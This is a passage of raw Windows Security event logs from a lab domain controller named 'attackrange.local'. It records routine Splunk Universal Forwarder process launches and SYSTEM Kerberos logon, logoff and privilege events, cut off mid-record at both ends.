Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:49:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256818 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11b0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:49:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256820 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4ac - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:49:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256821 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:49:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256822 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1218 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:49:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256823 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1158 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:49:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256824 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:49:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256827 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x468C82 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:49:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256826 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x468C82 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49276 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:49:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256825 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x468C82 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:50:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256829 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x358 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:50:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256828 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:50:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256830 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeb0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:50:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256831 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e4 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:50:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256832 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x124c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:50:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256834 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7c8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:50:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256833 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd88 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:50:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256837 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x46C1E4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:50:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256836 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x46C1E4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49289 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:50:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256835 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x46C1E4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:51:08 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256838 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe38 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:51:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256839 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:51:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256840 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security 